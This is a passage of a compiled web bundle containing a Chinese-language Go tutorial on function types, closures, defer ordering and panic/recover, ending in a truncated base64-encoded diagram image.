int\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u4e0a\u9762\u8bed\u53e5\u5b9a\u4e49\u4e86\u4e00\u4e2a",(0,c.jsx)(e.code,{children:"calculation"}),"\u7c7b\u578b\uff0c\u5b83\u662f\u4e00\u79cd\u51fd\u6570\u7c7b\u578b\uff0c\u8fd9\u79cd\u51fd\u6570\u63a5\u6536\u4e24\u4e2aint\u7c7b\u578b\u7684\u53c2\u6570\u5e76\u4e14\u8fd4\u56de\u4e00\u4e2aint\u7c7b\u578b\u7684\u8fd4\u56de\u503c\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u7b80\u5355\u6765\u8bf4\uff0c\u51e1\u662f\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6\u7684\u51fd\u6570\u90fd\u662fcalculation\u7c7b\u578b\u7684\u51fd\u6570\uff0c\u4f8b\u5982\u4e0b\u9762\u7684add\u548csub\u662fcalculation\u7c7b\u578b\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func add(x, y int) int {\n\treturn x + y\n}\n\nfunc sub(x, y int) int {\n\treturn x - y\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"add\u548csub\u90fd\u80fd\u8d4b\u503c\u7ed9calculation\u7c7b\u578b\u7684\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"var c calculation\nc = add\n"})}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",children:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u58f0\u660e\u51fd\u6570\u7c7b\u578b\u7684\u53d8\u91cf\u5e76\u4e14\u4e3a\u8be5\u53d8\u91cf\u8d4b\u503c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar c calculation // \u58f0\u660e\u4e00\u4e2acalculation\u7c7b\u578b\u7684\u53d8\u91cfc\n\tc = add // \u628aadd\u8d4b\u503c\u7ed9c\n\tfmt.Printf("type of c:%T\\n", c) // type of c:main.calculation\n\tfmt.Println(c(1, 2)) // \u50cf\u8c03\u7528add\u4e00\u6837\u8c03\u7528c\n\n\tf := add // \u5c06\u51fd\u6570add\u8d4b\u503c\u7ed9\u53d8\u91cff\n\tfmt.Printf("type of f:%T\\n", f) // type of f:func(int, int) int\n\tfmt.Println(f(10, 20)) // \u50cf\u8c03\u7528add\u4e00\u6837\u8c03\u7528f\n}\n'})}),"\n",(0,c.jsx)(e.h3,{id:"\u9ad8\u9636\u51fd\u6570",children:"\u9ad8\u9636\u51fd\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u9ad8\u9636\u51fd\u6570\u5206\u4e3a\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570\u548c\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c\u4e24\u90e8\u5206\u3002"}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",children:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u53ef\u4ee5\u4f5c\u4e3a\u53c2\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func add(x, y int) int {\n\treturn x + y\n}\nfunc calc(x, y int, op func(int, int) int) int {\n\treturn op(x, y)\n}\nfunc main() {\n\tret2 := calc(10, 20, add)\n\tfmt.Println(ret2) //30\n}\n"})}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",children:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u8fd4\u56de\u503c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func do(s string) (func(int, int) int, error) {\n\tswitch s {\n\tcase "+":\n\t\treturn add, nil\n\tcase "-":\n\t\treturn sub, nil\n\tdefault:\n\t\terr := errors.New("\u65e0\u6cd5\u8bc6\u522b\u7684\u64cd\u4f5c\u7b26")\n\t\treturn nil, err\n\t}\n}\n'})}),"\n",(0,c.jsx)(e.h3,{id:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",children:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305"}),"\n",(0,c.jsx)(e.h4,{id:"\u533f\u540d\u51fd\u6570",children:"\u533f\u540d\u51fd\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u5f53\u7136\u8fd8\u53ef\u4ee5\u4f5c\u4e3a\u8fd4\u56de\u503c\uff0c\u4f46\u662f\u5728Go\u8bed\u8a00\u4e2d\u51fd\u6570\u5185\u90e8\u4e0d\u80fd\u518d\u50cf\u4e4b\u524d\u90a3\u6837\u5b9a\u4e49\u51fd\u6570\u4e86\uff0c\u53ea\u80fd\u5b9a\u4e49\u533f\u540d\u51fd\u6570\u3002\u533f\u540d\u51fd\u6570\u5c31\u662f\u6ca1\u6709\u51fd\u6570\u540d\u7684\u51fd\u6570\uff0c\u533f\u540d\u51fd\u6570\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func(\u53c2\u6570)(\u8fd4\u56de\u503c){\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u533f\u540d\u51fd\u6570\u56e0\u4e3a\u6ca1\u6709\u51fd\u6570\u540d\uff0c\u6240\u4ee5\u6ca1\u529e\u6cd5\u50cf\u666e\u901a\u51fd\u6570\u90a3\u6837\u8c03\u7528\uff0c\u6240\u4ee5\u533f\u540d\u51fd\u6570\u9700\u8981\u4fdd\u5b58\u5230\u67d0\u4e2a\u53d8\u91cf\u6216\u8005\u4f5c\u4e3a\u7acb\u5373\u6267\u884c\u51fd\u6570:"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u5c06\u533f\u540d\u51fd\u6570\u4fdd\u5b58\u5230\u53d8\u91cf\n\tadd := func(x, y int) {\n\t\tfmt.Println(x + y)\n\t}\n\tadd(10, 20) // \u901a\u8fc7\u53d8\u91cf\u8c03\u7528\u533f\u540d\u51fd\u6570\n\n\t//\u81ea\u6267\u884c\u51fd\u6570\uff1a\u533f\u540d\u51fd\u6570\u5b9a\u4e49\u5b8c\u52a0()\u76f4\u63a5\u6267\u884c\n\tfunc(x, y int) {\n\t\tfmt.Println(x + y)\n\t}(10, 20)\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u533f\u540d\u51fd\u6570\u591a\u7528\u4e8e\u5b9e\u73b0\u56de\u8c03\u51fd\u6570\u548c\u95ed\u5305\u3002"}),"\n",(0,c.jsx)(e.h4,{id:"\u95ed\u5305",children:"\u95ed\u5305"}),"\n",(0,c.jsxs)(e.p,{children:["\u95ed\u5305\u6307\u7684\u662f\u4e00\u4e2a\u51fd\u6570\u548c\u4e0e\u5176\u76f8\u5173\u7684\u5f15\u7528\u73af\u5883\u7ec4\u5408\u800c\u6210\u7684\u5b9e\u4f53\u3002\u7b80\u5355\u6765\u8bf4\uff0c",(0,c.jsx)(e.code,{children:"\u95ed\u5305=\u51fd\u6570+\u5f15\u7528\u73af\u5883"}),"\u3002 \u9996\u5148\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func adder() func(int) int {\n\tvar x int\n\treturn func(y int) int {\n\t\tx += y\n\t\treturn x\n\t}\n}\nfunc main() {\n\tvar f = adder()\n\tfmt.Println(f(10)) //10\n\tfmt.Println(f(20)) //30\n\tfmt.Println(f(30)) //60\n\n\tf1 := adder()\n\tfmt.Println(f1(40)) //40\n\tfmt.Println(f1(50)) //90\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u53d8\u91cf",(0,c.jsx)(e.code,{children:"f"}),"\u662f\u4e00\u4e2a\u51fd\u6570\u5e76\u4e14\u5b83\u5f15\u7528\u4e86\u5176\u5916\u90e8\u4f5c\u7528\u57df\u4e2d\u7684",(0,c.jsx)(e.code,{children:"x"}),"\u53d8\u91cf\uff0c\u6b64\u65f6",(0,c.jsx)(e.code,{children:"f"}),"\u5c31\u662f\u4e00\u4e2a\u95ed\u5305\u3002 \u5728",(0,c.jsx)(e.code,{children:"f"}),"\u7684\u751f\u547d\u5468\u671f\u5185\uff0c\u53d8\u91cf",(0,c.jsx)(e.code,{children:"x"}),"\u4e5f\u4e00\u76f4\u6709\u6548\u3002 \u95ed\u5305\u8fdb\u9636\u793a\u4f8b1\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func adder2(x int) func(int) int {\n\treturn func(y int) int {\n\t\tx += y\n\t\treturn x\n\t}\n}\nfunc main() {\n\tvar f = adder2(10)\n\tfmt.Println(f(10)) //20\n\tfmt.Println(f(20)) //40\n\tfmt.Println(f(30)) //70\n\n\tf1 := adder2(20)\n\tfmt.Println(f1(40)) //60\n\tfmt.Println(f1(50)) //110\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u95ed\u5305\u8fdb\u9636\u793a\u4f8b2\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func makeSuffixFunc(suffix string) func(string) string {\n\treturn func(name string) string {\n\t\tif !strings.HasSuffix(name, suffix) {\n\t\t\treturn name + suffix\n\t\t}\n\t\treturn name\n\t}\n}\n\nfunc main() {\n\tjpgFunc := makeSuffixFunc(".jpg")\n\ttxtFunc := makeSuffixFunc(".txt")\n\tfmt.Println(jpgFunc("test")) //test.jpg\n\tfmt.Println(txtFunc("test")) //test.txt\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u95ed\u5305\u8fdb\u9636\u793a\u4f8b3\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(base int) (func(int) int, func(int) int) {\n\tadd := func(i int) int {\n\t\tbase += i\n\t\treturn base\n\t}\n\n\tsub := func(i int) int {\n\t\tbase -= i\n\t\treturn base\n\t}\n\treturn add, sub\n}\n\nfunc main() {\n\tf1, f2 := calc(10)\n\tfmt.Println(f1(1), f2(2)) //11 9\n\tfmt.Println(f1(3), f2(4)) //12 8\n\tfmt.Println(f1(5), f2(6)) //13 7\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u95ed\u5305\u5176\u5b9e\u5e76\u4e0d\u590d\u6742\uff0c\u53ea\u8981\u7262\u8bb0",(0,c.jsx)(e.code,{children:"\u95ed\u5305=\u51fd\u6570+\u5f15\u7528\u73af\u5883"}),"\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"defer\u8bed\u53e5",children:"defer\u8bed\u53e5"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u4f1a\u5c06\u5176\u540e\u9762\u8ddf\u968f\u7684\u8bed\u53e5\u8fdb\u884c\u5ef6\u8fdf\u5904\u7406\u3002\u5728",(0,c.jsx)(e.code,{children:"defer"}),"\u5f52\u5c5e\u7684\u51fd\u6570\u5373\u5c06\u8fd4\u56de\u65f6\uff0c\u5c06\u5ef6\u8fdf\u5904\u7406\u7684\u8bed\u53e5\u6309",(0,c.jsx)(e.code,{children:"defer"}),"\u5b9a\u4e49\u7684\u9006\u5e8f\u8fdb\u884c\u6267\u884c\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5148\u88ab",(0,c.jsx)(e.code,{children:"defer"}),"\u7684\u8bed\u53e5\u6700\u540e\u88ab\u6267\u884c\uff0c\u6700\u540e\u88ab",(0,c.jsx)(e.code,{children:"defer"}),"\u7684\u8bed\u53e5\uff0c\u6700\u5148\u88ab\u6267\u884c\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func main() {\n\tfmt.Println("start")\n\tdefer fmt.Println(1)\n\tdefer fmt.Println(2)\n\tdefer fmt.Println(3)\n\tfmt.Println("end")\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"start\nend\n3\n2\n1\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u7531\u4e8e",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u5ef6\u8fdf\u8c03\u7528\u7684\u7279\u6027\uff0c\u6240\u4ee5",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u80fd\u975e\u5e38\u65b9\u4fbf\u7684\u5904\u7406\u8d44\u6e90\u91ca\u653e\u95ee\u9898\u3002\u6bd4\u5982\uff1a\u8d44\u6e90\u6e05\u7406\u3001\u6587\u4ef6\u5173\u95ed\u3001\u89e3\u9501\u53ca\u8bb0\u5f55\u65f6\u95f4\u7b49\u3002"]}),"\n",(0,c.jsx)(e.h4,{id:"defer\u6267\u884c\u65f6\u673a",children:"defer\u6267\u884c\u65f6\u673a"}),"\n",(0,c.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u7684\u51fd\u6570\u4e2d",(0,c.jsx)(e.code,{children:"return"}),"\u8bed\u53e5\u5728\u5e95\u5c42\u5e76\u4e0d\u662f\u539f\u5b50\u64cd\u4f5c\uff0c\u5b83\u5206\u4e3a\u7ed9\u8fd4\u56de\u503c\u8d4b\u503c\u548cRET\u6307\u4ee4\u4e24\u6b65\u3002\u800c",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u6267\u884c\u7684\u65f6\u673a\u5c31\u5728\u8fd4\u56de\u503c\u8d4b\u503c\u64cd\u4f5c\u540e\uff0cRET\u6307\u4ee4\u6267\u884c\u524d\u3002\u5177\u4f53\u5982\u4e0b\u56fe\u6240\u793a\uff1a",(0,c.jsx)(e.img,{alt:"defer\u6267\u884c\u65f6\u673a",src:t(77035).A+"",width:"799",height:"299"})]}),"\n",(0,c.jsx)(e.h4,{id:"defer\u7ecf\u5178\u6848\u4f8b",children:"defer\u7ecf\u5178\u6848\u4f8b"}),"\n",(0,c.jsx)(e.p,{children:"\u9605\u8bfb\u4e0b\u9762\u7684\u4ee3\u7801\uff0c\u5199\u51fa\u6700\u540e\u7684\u6253\u5370\u7ed3\u679c\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func f1() int {\n\tx := 5\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn x\n}\n\nfunc f2() (x int) {\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn 5\n}\n\nfunc f3() (y int) {\n\tx := 5\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn x\n}\nfunc f4() (x int) {\n\tdefer func(x int) {\n\t\tx++\n\t}(x)\n\treturn 5\n}\nfunc main() {\n\tfmt.Println(f1())\n\tfmt.Println(f2())\n\tfmt.Println(f3())\n\tfmt.Println(f4())\n}\n"})}),"\n",(0,c.jsx)(e.h4,{id:"defer\u9762\u8bd5\u9898",children:"defer\u9762\u8bd5\u9898"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func calc(index string, a, b int) int {\n\tret := a + b\n\tfmt.Println(index, a, b, ret)\n\treturn ret\n}\n\nfunc main() {\n\tx := 1\n\ty := 2\n\tdefer calc("AA", x, calc("A", x, y))\n\tx = 10\n\tdefer calc("BB", x, calc("B", x, y))\n\ty = 20\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u95ee\uff0c\u4e0a\u9762\u4ee3\u7801\u7684\u8f93\u51fa\u7ed3\u679c\u662f\uff1f\uff08\u63d0\u793a\uff1adefer\u6ce8\u518c\u8981\u5ef6\u8fdf\u6267\u884c\u7684\u51fd\u6570\u65f6\u8be5\u51fd\u6570\u6240\u6709\u7684\u53c2\u6570\u90fd\u9700\u8981\u786e\u5b9a\u5176\u503c\uff09"}),"\n",(0,c.jsx)(e.h2,{id:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",children:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(e.table,{children:[(0,c.jsx)(e.thead,{children:(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.th,{style:{textAlign:"center"},children:"\u5185\u7f6e\u51fd\u6570"}),(0,c.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,c.jsxs)(e.tbody,{children:[(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"close"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u4e3b\u8981\u7528\u6765\u5173\u95edchannel"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"len"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u6c42\u957f\u5ea6\uff0c\u6bd4\u5982string\u3001array\u3001slice\u3001map\u3001channel"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"new"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u5206\u914d\u5185\u5b58\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u503c\u7c7b\u578b\uff0c\u6bd4\u5982int\u3001struct\u3002\u8fd4\u56de\u7684\u662f\u6307\u9488"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"make"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u5206\u914d\u5185\u5b58\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u5f15\u7528\u7c7b\u578b\uff0c\u6bd4\u5982chan\u3001map\u3001slice"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"append"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u8ffd\u52a0\u5143\u7d20\u5230\u6570\u7ec4\u3001slice\u4e2d"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"panic\u548crecover"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u505a\u9519\u8bef\u5904\u7406"})]})]})]}),"\n",(0,c.jsx)(e.h3,{id:"panicrecover",children:"panic/recover"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u76ee\u524d\uff08Go1.12\uff09\u662f\u6ca1\u6709\u5f02\u5e38\u673a\u5236\uff0c\u4f46\u662f\u4f7f\u7528",(0,c.jsx)(e.code,{children:"panic/recover"}),"\u6a21\u5f0f\u6765\u5904\u7406\u9519\u8bef\u3002 ",(0,c.jsx)(e.code,{children:"panic"}),"\u53ef\u4ee5\u5728\u4efb\u4f55\u5730\u65b9\u5f15\u53d1\uff0c\u4f46",(0,c.jsx)(e.code,{children:"recover"}),"\u53ea\u6709\u5728",(0,c.jsx)(e.code,{children:"defer"}),"\u8c03\u7528\u7684\u51fd\u6570\u4e2d\u6709\u6548\u3002 \u9996\u5148\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func funcA() {\n\tfmt.Println("func A")\n}\n\nfunc funcB() {\n\tpanic("panic in B")\n}\n\nfunc funcC() {\n\tfmt.Println("func C")\n}\nfunc main() {\n\tfuncA()\n\tfuncB()\n\tfuncC()\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-bash",children:"func A\npanic: panic in B\n\ngoroutine 1 [running]:\nmain.funcB(...)\n .../code/func/main.go:12\nmain.main()\n .../code/func/main.go:20 +0x98\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4",(0,c.jsx)(e.code,{children:"funcB"}),"\u4e2d\u5f15\u53d1\u4e86",(0,c.jsx)(e.code,{children:"panic"}),"\u5bfc\u81f4\u7a0b\u5e8f\u5d29\u6e83\uff0c\u5f02\u5e38\u9000\u51fa\u4e86\u3002\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7",(0,c.jsx)(e.code,{children:"recover"}),"\u5c06\u7a0b\u5e8f\u6062\u590d\u56de\u6765\uff0c\u7ee7\u7eed\u5f80\u540e\u6267\u884c\u3002"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func funcA() {\n\tfmt.Println("func A")\n}\n\nfunc funcB() {\n\tdefer func() {\n\t\terr := recover()\n\t\t//\u5982\u679c\u7a0b\u5e8f\u51fa\u51fa\u73b0\u4e86panic\u9519\u8bef,\u53ef\u4ee5\u901a\u8fc7recover\u6062\u590d\u8fc7\u6765\n\t\tif err != nil {\n\t\t\tfmt.Println("recover in B")\n\t\t}\n\t}()\n\tpanic("panic in B")\n}\n\nfunc funcC() {\n\tfmt.Println("func C")\n}\nfunc main() {\n\tfuncA()\n\tfuncB()\n\tfuncC()\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:(0,c.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,c.jsxs)(e.ol,{children:["\n",(0,c.jsxs)(e.li,{children:[(0,c.jsx)(e.code,{children:"recover()"}),"\u5fc5\u987b\u642d\u914d",(0,c.jsx)(e.code,{children:"defer"}),"\u4f7f\u7528\u3002"]}),"\n",(0,c.jsxs)(e.li,{children:[(0,c.jsx)(e.code,{children:"defer"}),"\u4e00\u5b9a\u8981\u5728\u53ef\u80fd\u5f15\u53d1",(0,c.jsx)(e.code,{children:"panic"}),"\u7684\u8bed\u53e5\u4e4b\u524d\u5b9a\u4e49\u3002"]}),"\n"]})]})}function x(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,c.jsx)(e,{...n,children:(0,c.jsx)(f,{...n})}):f(n)}},77035:(n,e,t)=>{t.d(e,{A:()=>r});const r="data:image/png;base64,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